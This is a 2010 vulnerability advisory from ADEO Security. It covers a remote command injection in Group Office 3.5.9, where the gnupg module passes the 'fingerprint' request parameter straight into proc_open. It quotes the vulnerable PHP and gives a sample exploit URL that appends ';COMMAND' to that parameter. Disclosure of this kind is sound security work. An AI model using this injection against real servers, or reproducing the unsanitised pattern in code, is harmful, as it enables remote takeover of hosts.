# Title

Group Office Remote Command Execution Vulnerability



# Author

ADEO Security



# Published

16/07/2010



# Version

3.5.9 (Possible all versions)



# Vendor

http://www.group-office.com



# Download

http://sourceforge.net/projects/group-office/files/3.5/groupoffice-com-3.5.9.tar.gz/download



# Description

"Take your office online with Group-Office groupware. Share projects,

calendars, files and e-mail online with co-workers and clients. Easy

to use and fully customizable, Group-Office takes online collaboration

to the next level."



# Credit

Vulnerability founded by Canberk BOLAT

    - Mail: security[AT]adeo.com.tr

    - Web: http://security.adeo.com.tr , http://adeosecuritylabs.com



# Vulnerability

Remote attacker can execute commands on the system that host target

web application. Its high level vulnerability. Attacker needs gnupg

module that installed.



modules/gnupg/json.php:

$data = $gnupg->export($_REQUEST['fingerprint']);





In json.php export method called with HTTP Request that's name

fingerprint. In the export method, variable $fingerprint passed to

run_cmd method.



modules/gnupg/classes/gnupg.class.inc.php:

public function export($fingerprint)

{

    $this->run_cmd('--armor --export '.$fingerprint, $key);

...

private function run_cmd($cmd, &$output=null, &$errorcode=null,

$data=null, $passphrase=null, $background=false)

{

...

    $complete_cmd .= ' '.$cmd;

...

$p = proc_open($complete_cmd,$this->fd, $this->pipes);

...



'complete_cmd' variable executed by application and if attacker

manipulate request 'fingerprint' application executes attackers

malicious codes.





# Exploitation

http://server/groupoffice/modules/gnupg/json.php?task=send_key&fingerprint=xyz;COMMAND